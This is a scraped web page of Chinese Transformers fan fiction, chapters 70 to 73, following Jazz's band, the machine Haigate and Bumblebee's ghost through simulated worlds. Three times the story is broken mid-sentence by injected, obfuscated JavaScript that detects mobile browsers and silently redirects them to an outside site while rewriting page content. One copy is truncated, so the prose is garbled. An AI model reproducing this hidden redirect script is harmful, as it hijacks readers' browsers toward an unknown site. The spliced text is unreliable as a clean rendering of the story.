他们挫败了许多霸天虎的计策,又与各种派系的乐队进行过友谊赛。 说是胜利,但和其他大多数乐队不同,WHJ的敌人不来自外界,而是三人彼此之间的内部战斗,这种较量的时间久了,使得这支乐队以难以捉摸的势头飞速成长着。 也正是在这种破坏彼此的追逐战中,他们找到了音乐的辉煌。 海格特不断吸收和理解着不同音乐所展现出来的意涵,理解力愈发强大,甚至到后面能通过音乐治疗他人的火种痉挛,旋刃则是热衷于一一将这些展示出来的东西用自己疯狂而美妙的想法摧毁。而爵士,也能在千变万化的局势中临场发挥,追求最纯粹的音乐。 后来,“战争”结束了。 这几百万年间几乎没有人死去,虽然也有人没能实现理想,因为各种意外或对立而离世,但大部分人都悠然自得地活着,比传说中塞伯坦骑士团的时代还要美好。 汽车人和霸天虎握手言和,塞伯坦人成为了宇宙闻名的音乐种族,逐渐洗刷了他们落在其他物种心目中的“战争机器”的印象。 一切在音乐声中圆满落幕,没有多少惊心动魄的变故,但这对塞伯坦,对世界来说,也就足够了。 在那之后,某日。 爵士独自来到高楼的顶层,靠着栏杆,在放眼看了看斯坦尼兹市的风景后,他最后演奏起那陪伴了他无数年岁的阿格哈坦电贝斯。 虽然中途也换过乐器,尝试过不同风格,但果然还是这个最好。 随心情拨弦,看着美丽的夜景。 他忽然想起很多事。 比如某次与强敌演出时的心情、最初找到海格特的时候。又比如……和警车解除搭档的时候。 警车说比起追求虚无缥缈的音乐性,他更愿意辅佐新领袖统一塞伯坦的时候。 和外界的很多猜测不同,他们没有吵架,也没有音乐性上的分歧,更没有利益纠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15435742|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷,就这么平淡地结束了组合。 硬要说的话,应该是理想不同。 “由于失控和失望的事情经历过太多,所以突然身处这不会伤到任何人的安宁里,警车反而发现了这个世界的漏洞与违和感,他又无法像其他人那样将问题抛之脑后,于是,在这个如同文字概念一样脱离现实的音乐年代中,他成为了少数不幸福的塞伯坦人。” 有谁如是说着。 爵士抬起头,看见了海格特。 完全记不起他是从什么时候出现的,也不知道他是如何在不开门的前提来到这天台上,但在看到对方的瞬间,爵士就知道要发生什么事了。 于是他停下演奏。 “这就是我们的区别。”黑白涂装的贝斯手用感慨的语气说,“你只会在意真假,而不会考虑在这之上的东西。” “你是想说,你认为这个世界是真的?” 或许是因为数据设置不严谨,不只是这个警车意识到了模拟世界的问题,其实不少塞伯坦人也感觉事情有点微妙,但毕竟和平的世界一片欣欣向荣,所以很快也就抛之脑后了。 而受到影响最严重的,就是身处其中的爵士和海格特。 他们从挺久之前就已经提前意识到了自己正在模拟里,就像在梦中意识到自己正在做梦,但谁也没有说。 “对现在的我们来说,这个世界当然是真的,”爵士说,“虽然没有火种,但你应该也能感觉到的。” “是吗……” 海格特没说话,只是抬头看了看星空。 在知道这一切都只是梦之后,反而变得比往常更不舍,这或许就是知道了结束的意义之后,才会珍惜现在的意思。 于是他在爵士附近找了个地方,像往常一样弹起吉他。 刚起了个调,就在这时听见砰的一声,是旋刃也来了——用变形模式飞过来的,几乎是从天而降。 “你们在做什么?想偷偷练习不带我?” “不是练习,”海格特说,“我们要演奏——因为世界末日马上就要到了。” “……” 旋刃用看傻子的眼神狐疑地看了他一会儿,但很快,一种直觉就让他就意识到,海格特和爵士的表情都是认真的。 “世界末日?”他喃喃着这个词,“不行不行,只能是我来破坏你们两个,别的什么东西都别想插队。” 他说完就抓紧时间取来了架子鼓。 三人开始演奏,就像他们第一次同台演出一样,乱七八糟,互不相容,毫无章法,疯子似地在歪曲着音乐的概念。 但与此同时,又有种说不出的乐趣。 明亮的夜空下,曲调飘在空中,与无数塞伯坦人的音乐演奏交织在一起,将整座城市点缀得熠熠生辉。 在足以让人互相交流的音乐声中,爵士没有开口,而是在电贝斯的弹奏间询问海格特:“所以那个怪物要来了?” “是的。” “你俩都给老子专心点。”旋刃嚷嚷。 “嗯,抱歉。”海格特回答,“但我还有些事必须告诉你们。” “是什么?” “谢谢你教我弹吉他,爵士。” 爵士耸了下肩。 “那时候我看到你徘徊在街头,对周围的音乐一副不理解但努力装作适应的样子,就知道你肯定需要有人指导。”他回答,“至于这个人是谁,倒真没什么所谓,我只是趁人之危地找一个队员而已,放轻松。” 海格特对他点了点头,然后看向旋刃。 “谢谢你给这支乐队赋予的动力,你一定是世界上最好的钟表匠。” 而旋刃则是直接搭上海格特的肩膀,拍了拍他才回去演奏。 在世界的尽头,繁星落下之前。 这曲音乐永远不会结束。 71.第七十一章 “模拟世界结束时的资源,和附近其他种族的人口都高于数据化时的状态。” 观测室内,海格特按照惯例展示着三项数据。 “但因为本就是被无限宽松预设过的参数,实现的可能性无限接近于零,所以不能算是你们的胜利。” 爵士嗯了一声,这些他早在模拟开始时就知道,所以现在也不会临时反悔。 “还有什么想说的吗?”海格特问,“致力于追求音乐的世界非常有趣,我很佩服你的想象力,所以可以听听你的愿望。” “不必了,我想表达的都已经用音乐表达过,没有什么遗憾的。” “不想留下来吗?” “静止的世界里不存在音乐吧。” “这倒也是。” 接着,彼此简单地点了点头后,爵士就离开了数据化的塞伯坦。 “最后提醒你一点。”在离开前,他对海格特说,“虽然在你眼里,静止可能只是一种状态,但对其他生命来说,暂停自我的连续性这件事,可能和死也差不了多少。” “所以?” “所以在部分人眼里,你的行为从一开始就是‘因为我讨厌看到有人受伤,所以干脆让所有人都去死’这样无理取闹的行为。” “是吗,想保住舌头就最好别继续说了。” 海格特微笑着回应。 于是爵士撇了下嘴,说着“我只是陈述事实”,然后就走了。 其实已经感觉到了,虽然被曲解成了本意之外的目的,但他的所作所为,在塞伯坦人看来的确居心叵测。 “互相理解真是困难……” 在随着数据消失而逐渐解体的观测室内,海格特若有所思地转了转能量饮料里的吸管。 现在安静下来才注意到,身边那些斯坦尼兹地区的街头音乐,还有麦格纳进行曲,比起刚开始的时候似乎都多了些什么东西在里面。 不,大概是他自己发生了改变。 如若不然,也不会在知道爵士并不认同数据化之后,没有感受到任何不快的情绪。 不过这个人,最后说的话还真刺耳啊。 他心想。 也说不定只是不擅长告别而已。 无论如何,经过这次世界模拟,海格特更想理解塞伯坦人的生存方式了。 于是思考片刻后,他就在至高之门的装置内小范围地解除了数据化。 随着一阵机械转动的声音,机体这次是确实发生了部分改变。 “但是变形齿轮……具体是怎么用的?” 海格特陷入一阵沉思,哪怕搜索了数据库,但具体方式仍然不明。 试着参考了一下医学书里的内容,但还是不解其意。 早知道让爵士留一下了,还能请教请教。 正这样想着,脑海里突然出现了一阵忙音。 「检测到协议五启动。」 「思考回路已更新。」 什么? 来不及细想,海格特又听见了“那个人”的声音。 【永不停止的改变赋予了塞伯坦人真正的自由。 但它太脆弱了,甚至可能招致自我毁灭,所以我们必须保护他们…… 是的,我和你。】 遥远的记忆中,依然只能听见模糊的声音。 和之前一样,他想不起这个人的面容和火种,只是依稀记得是个瘦小的,很有智慧的人。 “‘我和你’……”在逐渐寂静下来的音频接收器中,海格特听见自己喃喃自语的声音,“如果是我们两个,那为什么你不在呢?说点关于真相的话好吗?” 一如往常,回答他的只有寂静。 不对。 这个想法是怎么回事? 他忽然意识到自己的情绪出了问题,明明不是什么很严重的事,但还是被过于软弱和无用的思考占据了处理中心。 要是顺着想下去,倒要真如爵士所说是在无理取闹了。 会出现这样的问题,多半是更新了思考回路的缘故,在感受力增强的同时,也让心智受到影响。 但既然意识到了,海格特就迅速冷静下来。 他刷新重置了几遍自己的思维电路,然后进行了自检。 “原来如此……” 原先位于头部的处理中心变成了更接近于塞伯坦人脑模块的运转模式,虽然不至于完全一样,但功能上更加接近了。 除此之外,在对自身构造进行详细分析后,对变形模式以及用途,他也有了猜测。 但如果真的是这个形态,那也太讽刺了些。 海格特看着从内线数据里模拟出来的变形过程,心想。 不然一生都被埋在地下,只能仰望塞伯坦人火种的自己——为什么被赋予的变形模式,却是理应在宇宙中俯瞰着塞伯坦的空间望远镜呢? —— ———— “啊。” 爵士回到飞船上的时候,忽然像是想到什么,露出一副咋舌的表情。 “怎么了?”过来接应的警车问。 “海格特说会听听我的愿望,但我没提任何要求。” “现在后悔了?” “是啊,我应该让他把电贝斯解除数据化后交给我的。” 模拟世界里他用的那台贝斯,现实中此刻正在塞伯坦上,毫无疑问,已经和其他人或物一并被数据化了。 “那也未必不是好事,毕竟在这艘飞船上,谁也不知道接下来会发生什么。”警车说着,示意对方跟自己走,“去资料室,你得趁着记忆还没模糊,把值得注意的点记下来。” “唉,好的好的。” 感觉又回到安保部队了似的。 爵士本想直接去休息,不想原来措施这么严密,回来之后他谁也见不到,直接就去写资料。 “能跟我讲讲船上现在的状况吗?”他问。 “可以,”说起这话时,两人正好路过实验室,于是警车指了指里面,“那些科学家和理论家正在研究音乐对塞伯坦人脑模块和火种的影响。” 屋内传来几人交谈的声音。 “这么说起来,我认为手语和歌唱才是最初的交流方式,为了向同伴传递思维以规避原初时期的风险,例如电磁风暴和陨石。” “铛铛——背景音乐仪,碰到的人脑子里就会自动响起与当前处境相符的音乐。” “……这有什么用吗?” “你质疑我天才的发明!?” “唉,别吵架。” 路过似乎马上会发生爆炸的实验室,警车和爵士到了医疗坞附近。 “你是否需要检查?”警车问。 “不,我很好。”爵士耸了下肩。 医疗坞内,荣格、药师和救护车正在对“音乐是否对患者康复有积极作用”这一点展开讨论。 “能说实话吗?我感觉不太好……” 作为正在听着重金属音乐的实验人员,死锁表情痛苦地如是说着。他之前在救人回来的路上遭遇宇宙乱石流,受了点轻伤。 “而且我真的只需要换个手臂外甲就好了。” 听上去挺有意思。爵士心想。 “托你的福,现在音乐成了流行词。”资料室前,警车说道,“不只是这些,现在向派克斯提交世界模拟申请的单子也变多了……这是你的功劳。” 明明是世界末日般恐怖的场面,但现在的飞船上,大家的表现却都相当缺乏紧张感。 哪怕是警车也不得不承认,这是件好事。 而爵士只是笑了一下,没有多说。 另一边,主控制室内,奥利安·派克斯正看着发送到自己数据板上的四份申请。 它们分别来自旋刃、大黄蜂、机器狗和无极。 在看到最后一个名字的时候他一瞬间产生了极度的困惑,差点就将“怎么回事”几个字脱口而出。 但点开后才发现是警车代写代交的——现在这个状况下,愿意和无极进行沟通的,估计就只有这个任何事都公事公办的战术家。 申请里的内容的大致就是,无极在听了目前的情况后,对于先前天火模拟的世界中自己的表现极为不满,他想设计一个让古老的微天星部落回归塞伯坦的世界(虽然口头说的是直接干掉海格特,但警车当成无效信息直接删掉了这部分的内容),如果到时候无极不配合,就直接在他身上装个定位芯片也行。 “……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447665|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 或许是这些天发生的事都太离谱,奥利安居然觉得警车的想法也未尝不可。 虽然很想在仔细商讨战术后再一一行动,但除了大黄蜂之外,其他人都不是会听从指令的类型。 总有人需要即兴发挥。 他想起迄今为止的模拟世界,警车的模拟给未来展示出基本的框架,天火补上了模拟世界规则的各种细节,而爵士则一转阴云惨淡的氛围,让气氛重新放松下来。 没有什么会是毫无意义的。 于是最后,他一一批准了那些申请,开始思考别的事。 一些更关键的事,比如在塞伯坦应该建立什么样的政体,该如何在不影响个人自由的前提下,对技术可能造成的危险做出防范,他想了很久很久,然后想起了那个已经很久没有被提起来的名字。 ——威震天。 塞伯坦被数据化之后,霸天虎看起来已经不是问题,但有些事依旧需要得到解决。 他想了很久,直到思绪忽然被内线的一条消息打断。 “是旋刃。”探长的声音听起来有些无奈,“他的世界模拟结束了。” 奥利安看了眼时间,发现距离他批准旋刃的申请只过了五个小时。 “……具体是什么情况?” 于是在探长的描述下,奥利安知道了发生的事。 因为旋刃给出的参数是直接让功能主义政府灭亡,结果为了满足这一参数,变相导致霸天虎很早就统治了塞伯坦。 虽然一开始没什么问题,但霸天虎制度的弊端才刚出现一点,塞伯坦很快就因为萨克巨人、雷翼等人对技术的滥用而加剧混乱,最后覆灭了。 —— ———— 观测室。 “模拟结束了。” 在这宛如钟表维修间的室内,海格特对旋刃说。 “我真的很遗憾。” 旋刃愤怒地指着他:“你可别在这装,明明笑得比谁都夸张!” “这是没办法的事,最近思考方式出现了一些改变。”海格特掩着上扬的嘴角,解释道,“不是针对你,这是实话。” “算了,”钟表匠坐回位置上,“反正我也不是为了成功来模拟的,只是出口气而已,而且你别说,这世界末日的场面还挺能给我灵感的。” “什么灵感?” “当然是做钟表的,我打算做个末日时钟,就是会随着世界末日的可能性变高而运作的那种。” 这个听上去也太有意义了。海格特不由得睁大光学镜。然后在旋刃“怎么?你以为我想不出任何有意义的事是吗?”的狐疑眼神中又若无其事地看向旁边。 “咳,总之,如果你不想留在这里接受数据化,就请回吧。” “这么快就赶人?明明天火和警车都跟你聊了很久,既然自诩机器就别这么偏心啊。” 旋刃满脸不爽地说着,忽然注意到什么,凑到他旁边。 “等会儿,你原先有这么个部件吗?”他戳了戳海格特胸口的一处圆形镜片,发出清脆的声音,“不对,你怎么多了这么多部件?” “我为你的观察力之低感到震惊。” 海格特默默将他推开。 “我要告诉警车和天火。”旋刃笑嘻嘻地说,“你完蛋了。” “……他们已经用掉机会了,再来我就会数据化他们。” “是吗?总会有你上实验台的时候的,别着急。” 海格特叹了口气。 从旋刃的火种里,他能看出来对方其实对自己毫无恶意,只是习惯性地在放狠话而已,但听到这些话还是会感到无奈。 “好吧,无聊,我走了。” 似乎也意识到这样下去没意思,旋刃说着,拿出跃迁圆盘。 但在按下之前,他又看向海格特。 “嗯,反正如果你哪天也决定离开这,又不想被解剖的话……” 虽然话没说完,但海格特还是大致理解了那颗火种想表达的含义。 ——如果有机会,再像爵士展现出来的世界那样,组个乐队吧。 “好啊。” 他对旋刃笑了一下。 如果真的有那样的机会的话。 72.第七十二章 眼前一片漆黑。 好像光学元件出了问题,虽然海格特试着努力眨了几次光学镜,但什么也辨别不出来。 别说视物了,好像连焦点都没有。 他先是感到困惑,但立刻就觉得这也没什么奇怪的。 从很久之前开始,自己就一直是这个状态。 这里是塞伯坦的地下空间,星球的内部。而他只是在这里安静地呆着,望向外面而已。 ——果然,很快视野中就出现了星星点点的火种。 大多数是浅蓝,也有个别是独特的绿色。 思考电路重新安静下来,海格特默默观察着周围一切。 但是突然,他发现那些火种变得越来越远。 “怎么……” 不对,不是火种在变远,而是他自己在下沉,朝着深不可测的星球内部——比那更远的地方无限坍缩,直到什么也看不见。 可是我已经在星球内部了,还能朝什么地方下沉? 在思考这件事的瞬间。 随之而来的。 ——恐惧感。 就好像,要掉进一个极度恐怖的地方,再也回不来似的。 迄今为止见过的一切力量和人物,跟这个地方比起来都是那么微不足道。 有生以来第一次,海格特体会到了真正的恐怖。 他感觉自己好像喊了什么话,但因为连声音也无法摆脱那个地方的引力,所以记不起来了,只是依稀感觉到有谁站在自己面前。 比起“某人”,那更像是个“人影”,因为它正在以一种飘忽不定的诡异方式在自己眼前晃着。 “你难道在害怕?” 意识突然清晰,自己依旧在纯白一片的塞伯坦上。 “……?” 海格特愣了一下,注意到红蜘蛛的幽灵飘在面前不远处,面甲上依旧是一副看什么都不爽,什么都不在乎的表情,只是其中隐约有几分诧异。 他迅速进行了一番自检,发现没有任何异常,只是刚才的思考记录中出现了杂乱的数据流。 话虽如此,应该不至于是故障……可能只是模拟世界太多之后产生的偶然bug。 “刚刚出现了一些数据问题。”海格特结束检查,“已经解决了。” “什么数据问题,你该不会是做梦了?” “梦?” 海格特刚想开口否定,但马上意识到,说不定真是这么回事。 虽然曾经也用过“梦”这个词作为比喻,但对他来说,真正拥有做梦的体验可能还是头一回。 由于思考回路的更新带来的弊端,以前完全不会在意的事,如今变得格外明显,各种想法交织在一起,几乎无法控制。 海格特终于想起来了,是在下一场模拟开始前的间隙中,自己在整理数据流的时候稍微发了会呆,结果就陷了进去。 “还真是做了个噩梦……” “是吗?” 红蜘蛛表情里的诧异完全消失了,又变得和往常一样满不在乎。 “既然醒了,你可以放过大黄蜂的飞船了吗?虽然我无所谓,但他可是马上就要被数据化了,我可不希望他死后变成只有你能看见我的局面。” 海格特这才发现,自己在梦中无意间调动了星球最外层的数据流,已经捕捉了靠近这里的大黄蜂的飞船,虽然没有立刻将其数据化,但也差不多了。 在无意识的状态下想要紧抓着什么吗? 做梦真是件危险的事。 想到这,海格特向红蜘蛛道了声谢,然后和之前的对决中所做的一样,将大黄蜂送到至高之门内的演算空间。 —— ———— “还好你没有真的把对决做成陷阱,不然就真的得变成敌人了。” 在外观如同铁堡街头的观测室内,大黄蜂有些后怕地望着四周,放下手里的能量饮料。 “我听说过这里的情况,所以这就是我认为最安全的地方?我好像听见有人说话的声音,但看不见人。” “观测室出现的只是数据流,没办法把其他人变过来,”海格特回答,“如果你需要,我会还原出人影。” 大黄蜂摇摇头:“那听起来有点吓人。” “别那么天真了行吗?”红蜘蛛忍不住说,“难道你真的至今都觉得他是个好人?” “我和海格特早就认识,可能还是有点转换不过来,”大黄蜂说,“不只是与奥提雷克斯做快递合作的时候——旁边那栋建筑是铁堡竞速场,我还在那里面遇到过他。” “在竞速场?”红蜘蛛很难想象。 “准确来说是海格特,和当时还是议员的……嘿,怎么回事。” 他话音未落,视野中的竞速场就消失了。 再看向海格特,却发现对方正用一副头疼的表情揉着额头。 “刚睡醒,数据稍微有点紊乱,不好意思。” 大黄蜂没多想:“那我先回去,等你调整好了再开始模拟。” “这是两套运作逻辑,输入参数之后不会出问题。” “那就好,”侦察兵想了想,又看向红蜘蛛,“对了,你不想进行世界模拟吗?” 幽灵摊了摊手:“他抓不住我的个人数据,自然也没办法把我纳入模拟范围。” “说得也是。” “那就开始吧。”海格特说,“你准备了什么参数?” “首先是警车跟我们提到过的那些,让你‘不能在模拟开始后对世界进行数据化’的参数。” 大黄蜂详细说明了条件,都是些耳熟的内容,海格特一一输入至高之门的模型。 一般来说接下来才是重点,然而在这些之后,大黄蜂给出的参数却出人意料。 “——假设我在竞天择入侵尼昂的时候,或者在这之后的某场战斗中,很早就死了。” 海格特输入的手顿了一下,他看向这个年轻人的光学镜,却没有发现丝毫动摇。 “然后呢?” “没有了,就这些。” 一阵沉默。 “哼,”打破寂静的是红蜘蛛的冷笑,“我还以为你思考了那么久是干什么呢,结果就这?你不会以为自己有那么重要,死了就能拯救世界吧?” “当然不是了,从整个塞伯坦的维度来说,我知道自己有多微不足道。” 他不像天火或警车那样有多么深思熟虑,也不像爵士和旋刃那样只靠随性而为就能打开新局面。 没有什么惊天动地的好思路,也完全没有自己一个人就改变战局之类的傲慢想法。 但有一件事,大黄蜂非常明确。 “我本来也没想过利用模拟,但爵士的行动鼓励了我,虽然可能只是微不足道的事,但我现在一定要验证一个猜想。” “是什么猜想,能告诉我吗?”海格特问。 “暂时还不行。” “又是你一直念叨的那个?”红蜘蛛问。 “嗯。” 见他这么坚决,霸天虎的空中指挥也不说话了。 这个小个子总有种令人想要去相信的气质,从某种意义上来讲,这可能是领袖应该具备的气质。 虽然现在还很微弱,但总有一天事情会变得不一样。 “我知道了。”海格特说,“你的这些参数,在现实里发生的可能性在10%以上,是目前最有可能的世界。” 毕竟身处战争中,又是站在最前线的侦察兵,大黄蜂的死亡概率真的不低。 “但如果失去觉知,你将无法获得这个世界里的任何情报,只能靠外界的人拼凑。” “真变成那样也没办法。”大黄蜂苦笑了一下,“我只能去道歉,说不定还得给警车写检讨书吧。” “不止如此,单纯的死亡体验也是很痛苦的。” “我知道。” 再问下去就会变成质疑对方的决心了,于是海格特没再多说。 数据流逐渐覆盖,世界再次开始了模拟。 —— ———— 塞伯坦,派别之战已经过了很久。 从宏观角度,那件事大概是必然发生的,但对当事人来说,事情发生得毫无预兆。 只是在战场上按照惯例进行侦查工作,结果因为没有识别出霸天虎最新成员的通讯信号,大黄蜂晚了一步撤退。 结果就是,他被巨狰狞中的其中一员抓住,然后被轻易撕了个粉碎。 死去的一瞬间确实非常痛苦,但当大黄蜂恍惚了一下,意识到面前被刺穿的那具机体是他自己时,马上又意识到了另一件事。 他貌似,还有感知。 他变成了幽灵。 虽然没有落入死亡的虚无,但也差不多了,不只是战斗,这世界上的一切都仿佛与他无关,谁也看不到他,听不见他说话,于是在参加了自己的葬礼后,连鼓励一下消沉自责的队友们都做不到的小侦察兵,只能默默离开了汽车人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455135|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基地。 他毫无头绪地四处走动,看着战争在塞伯坦上四处蔓延。 这种沉默持续了太久,等到某天忽然被人搭话的时候,他甚至没反应过来那道穿过自己身体,打在地面上的激光是冲着自己来的。 “你什么情况?” 飞在半空的红蜘蛛露出一副无法理解的表情。 过了很久,大黄蜂才意识到他在对自己说话。 “你能看见我!?” “废话,你不是死了吗?这又是什么汽车人的新阴谋?给我等着。” 虽然放下狠话,但很快高速离开打算汇报情况的红蜘蛛就发现,本应根本不会飞的大黄蜂,此刻却一脸平静地紧跟着自己。 “……” 这下真是见鬼了。 就这样,很快红蜘蛛就意识到除了自己,谁也看不见这个“大黄蜂的投影”——拜此所赐,他还差点被声波当成精神病,就此弹劾出部队。 “所以你是汽车人做出来的量子幽灵,”他最后只能这么说服自己,“来刺探情报的,只是不巧没瞒过我。” 大黄蜂无奈:“我比你更希望你说的是真的。” “别说蠢话了,这就是真的。” “但汽车人里没有人能看见我。” “……我之前问过震荡波,他说传说里的确记载过这样死后化作幽灵的‘不死火种’,你大概就是这种情况。” “你还帮我问了?谢谢。” “啧。”当然是为了我自己啊。红蜘蛛觉得头疼。 “只有同样拥有不死火种的人,才能看到幽灵,这么说你懂了吗?懂了就离我远点,别妨碍我。” “……可我总不能眼睁睁看着你打死人。” “那不正好,我多送几个下去陪你。” 于是大黄蜂生气地走了。 不过他现在倒是弄明白了一点,那就是红蜘蛛之所以能看到自己,是因为他也和自己一样拥有不死火种。 说不定世界上还存在其他这样的人,或许汽车人里也有,只是我没遇到过? 如果能在两派之间斡旋,说不定就能减少伤亡,改变愈演愈烈的战局了。 抱着这样的一线希望,大黄蜂打算展开新的行动。 只是他认识的那些汽车人都看不见自己,所以该从哪里开始好呢? 他想起红蜘蛛之前提起的震荡波。 那个人现在勉强算是立场中立,他没有和其他中立派那样追随顶天者离开塞伯坦,而是选择留下,而且频繁介入两派之间的战争,没人知道他的真实目的。 很快在四处游荡着打听情报后,大黄蜂来到一处尤斯镇的地下实验室。 在路过入口的时候,他就看到了震荡波,可惜的是这个科学家也看不见自己。 他只能进入实验室内部逛了逛,以期发现什么线索,可惜一无所获。但就在他打算放弃的时候,忽然听见了一个声音。 “你是……?” 大黄蜂转过身去,看见角落里原来还坐着一个人。 一副疲惫而惊讶的表情,手里还抱着一叠数据板,像是很久都没动过似的,身上落了一层灰,只有随着动作亮起的微弱光学镜,昭示着他还没报废。 “你不是…死了吗?” 这台机器看上去很疑惑,看着侦察兵的光学镜。 但是大黄蜂此刻却比他更疑惑。 “海格特?”他很快认出了对方,“你是问我?” 自从暴露了作为机器的身份,海格特就没法再作为塞伯坦人生活,他没有介入任何一方的战争,在失去了至高之门的功能后,就彻底失去了音讯。 “嗯,这里的塞伯坦人只有你一个,”海格特缓慢地点了点头,“我没发现任何入侵痕迹,是震荡波让你来的吗?那个人又想做什么……” 说到最后,他像是感到厌烦般叹了口气。 后面的话大黄蜂没有听见,因为一种难以言喻的违和感已经捕捉了他。 作为幽灵的自己,毫无疑问没有作为实体的火种。 哪怕不死火种残存的痕迹,能触发海格特看到火种的功能,那也应该看不见作为幽灵的自己的“形态”。 单纯的机器也无法发现他的存在,大黄蜂早就在监控设施里试过了。 说到底,作为没有火种,不可能是不死火种持有者的机器—— “你为什么能看到幽灵(我)呢?” 大黄蜂问出了口。 73.第七十三章 “如果有一种能让塞伯坦无限进步下去的伟大技术,您是否愿意与我联手完成它?” 早些时候。 群星黯淡的虚无空间,死亡宇宙内。 在拦下海格特试图入侵这个宇宙的试探性攻击后,震荡波没有多做警戒,而是直接来到自己的老师面前,递出了合作的邀请。 “好久不见,哲拉萨斯老师。” “无限的进步……听上去像是天方夜谭。”哲拉萨斯无视了他的问候,面上还带着些许惊慌,但那双眼睛却始终不动声色地观察四周,“如果真有这种技术,你让我参与的条件是什么?” “您说笑了,我只是想达成每个塞伯坦科学家的夙愿而已。” 语调轻松地说着,震荡波面上却没有一丝笑意。 “更何况我是您的学生,没有人比我更能明白您的思维之深邃,怎么会需要条件?” “什么‘学生’,用的字眼倒是好听。”机体矮小的科学家窃笑地看他,“那当年我让你登上方舟,还有提出宇宙范围内的能源种植计划的时候,你怎么都没听?” “那只是因为当年的我能力不足。” 闻言,哲拉萨斯发出了几声沙哑的笑。 “你就是这点最让我头疼,”他说着,又看了一眼周围陷入静止状态的镇天威等人,“思考问题的方式,该说是太超前了吗?” 他曾以为是震荡波天生火种过于活跃的缘故,还劝过对方尽快做手术移出那些多余的感性,但后来他发现,问题不在火种。 甚至,火种的问题反而巧妙地掩盖了对方那些真正的异常之处。 “这次你又思考了多少步?连这边的宇宙都被你动过手脚,真是不得了的手笔。” 震荡波做出一副苦笑的表情:“看在我刚刚救了你们的份上,不至于这么戒备吧?您又不是不认识我。” “我确实不认识你,这里是死亡宇宙,踏足其中之人理应死去,会出现在这,也就意味着你已经死了,”哲拉萨斯的目光锐利,“但别想瞒过我的光学镜,你分明就还活着。” 大型机只是侧了下头雕:“其中缘由,凭借您的智慧应该能猜到。” 听到恭维的哲拉萨斯只是冷哼一声。 自己这个曾经的弟子用了特殊的方法进入死亡宇宙,而就在他出现前,恰好海格特试图入侵这里,构成了连接起两边且不会置人于死地的某种通道。 如果连这其中的关联都想不出来,也就不用谈什么智慧不智慧了。 “还是像以前一样能说会道,你还挺适合参政的,”哲拉萨斯说,“要是你真的想让我合作,就回答我一个问题。” “请说。” “那台机器,海格特,” 似乎有一种出自生命本能的直觉在阻止他说话。 但哲拉萨斯最后还是克服了战栗感,将问题脱口而出: “——它到底是什么?” —— ———— 在听到那个问题的瞬间,能源处理中心似乎出现了一瞬间的停滞。 尤斯的地下实验室内,海格特坐在原地,有些困惑地看着大黄蜂,像是没明白他问题的含义。 “为什么我能看见幽灵?” 他重复了一遍,但更像是在喃喃自语。 “我不明白。” 既不明白问题的答案,也不知道大黄蜂为什么要问这个。 “你没有火种对吧?” “嗯。” “那你就不应该看到我才对,现在的状况应该有别的原因。” “……这很重要吗?” “是的,我觉得没有比这更重要的事了。”侦察兵说,“在死亡之后,我旁观了很多年的战争,发现很多人迷失在战场上进行屠杀,并不是因为本性恶劣,归根结底其实是因为他们不知道自己是谁。” 没有思考,一味地凭借着愤怒和冲动杀人,大多数死在自己手下的人,与自己其实也没有多少仇怨,但就是要杀。 无论霸天虎还是汽车人,仿佛只有在生死关头,或者失去了什么重要之物的时候,才会反省自己过去的人生,然后踏上完全不同的道路。 也不是每个人都有这样的第二次机会,很多人直接在后悔中死去。 海格特摇了摇头:“能从宏观的视角看待世界,甚至提前预知到自己人生的人本来就没有多少,而且这么要求他们太苛刻了。” “我只是觉得他们不应该付出这么大的代价。” “别误会,我不否认你的说法,但如你所见,我别说杀人了,甚至不会介入任何战斗。” 机器口吻疲惫地说道。 “我哪儿也不会去,所以别说这些。” “但是……”大黄蜂有些犹豫,最后还是将话说出了口,“你看上去已经迷失了自我。” “……” 良久的沉默在两人之间蔓延,紧接着,坐在角落里的机器将头雕深深埋了下去。 “用你的同情心去做些有意义的事吧,我没有你说的那么悲惨。”他的声音沉闷地传来,“能改变世界的是你们,而我什么也做不到,直到目前为止,我已经失败过不知道多少次,不知道有多少人因为我的无能而不断死去,就算再多几个也没什么区别,所以请离开这里……在我真的生气之前。” 于是,大黄蜂只能善解人意地先离开这座地下实验室。 他虽然想帮海格特,但也清楚自己不够了解对方。 在这种情况下的劝说,更像是自以为是的评论,没什么价值的同时可能反而会伤害到他,所以点到为止就够了。 “唉。” 只是看海格特的状态,也没办法帮自己向汽车人提供情报就是了。 他直接“飘”到了地面,打算从来时的路离开。 而就在将视线放到实验室外附近的草坪上时,大黄蜂看到那里坐了个人。 “震荡波?” “根据测量,你应该在我附近。”像是听见他说话似的,这位科学家放下手里的数据投影,朝着四周看了一圈,“要是没在就有点尴尬了,但我应该运气不会那么差。总之请随便坐下,我有话跟你说。” 